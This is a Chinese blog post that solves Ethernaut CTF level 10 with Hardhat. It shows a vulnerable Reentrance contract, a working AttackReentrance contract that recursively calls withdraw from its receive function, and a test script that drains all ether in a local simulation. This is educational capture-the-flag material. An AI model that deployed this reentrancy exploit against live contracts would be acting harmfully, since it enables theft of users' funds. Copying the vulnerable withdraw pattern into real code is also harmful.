用Hardhat闯关Ethernaut题10 -reentrance

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

Reentrance合约

任务:把合约里面的钱全部取出来就行。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result, ) = msg.sender.call.value(_amount)("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

这道题就是典型的重入攻击(简单来说就是攻击合约利用自己的回调函数对被攻击合约实现循环调用),解题思路就是创建一个攻击合约,重写receive函数(在receive函数里面继续调用withdraw)。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract AttackReentrance {
    address payable target;
    address payable public owner;
    uint256 amount = 1 ether;

    constructor(address payable _target) public payable {
        target = _target;
        owner = msg.sender;
    }

    function donate() public payable {
        (bool success, ) = target.call.value(amount)(
            abi.encodeWithSignature("donate(address)", address(this))
        );
        require(success, "donate fail");
    }

    function attack() public payable {
        (bool success, ) = target.call(
            abi.encodeWithSignature("withdraw(uint256)", amount)
        );
        require(success, "attack fail");
    }

    receive() external payable {
        (bool success, ) = target.call(
            abi.encodeWithSignature("withdraw(uint256)", amount)
        );
        require(success, "receive error");
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");

describe("test", function () {
    var Reentrance;
    var AttackReentrance;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const ReentranceInstance = await ethers.getContractFactory("Reentrance");
        Reentrance = await ReentranceInstance.deploy();
        const AttackReentranceInstance = await ethers.getContractFactory("AttackReentrance");
        AttackReentrance = await AttackReentranceInstance.connect(users[0]).deploy(Reentrance.address, {
            value: parseEther("1"),
        });
    });

    it("user donate test", async function () {
        for (let index = 1; index < 10; index++) {
            await Reentrance.connect(users[index]).donate(users[index].address, {
                value: parseEther("10"),
            });
        }

        const balance = await ethers.provider.getBalance(Reentrance.address);

        expect(balance).to.equal(parseEther("90"));
    });
    it("hack test", async function () {
        await AttackReentrance.connect(users[0]).donate();

        const attackBalance = await Reentrance.balances(AttackReentrance.address);

        expect(attackBalance).to.equal(parseEther("1"));

        await AttackReentrance.connect(users[0]).attack();

        const balance1 = await ethers.provider.getBalance(Reentrance.address);
        const balance2 = await ethers.provider.getBalance(AttackReentrance.address);

        expect(balance1).to.equal(0);
        expect(balance2).to.equal(parseEther("91"));
    });
});

测试结果:

image.png

Github:hardhat测试仓库

本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-09-19 17:56
  • 阅读 ( 185 )
  • 学分 ( 2 )
  • 分类:智能合约

评论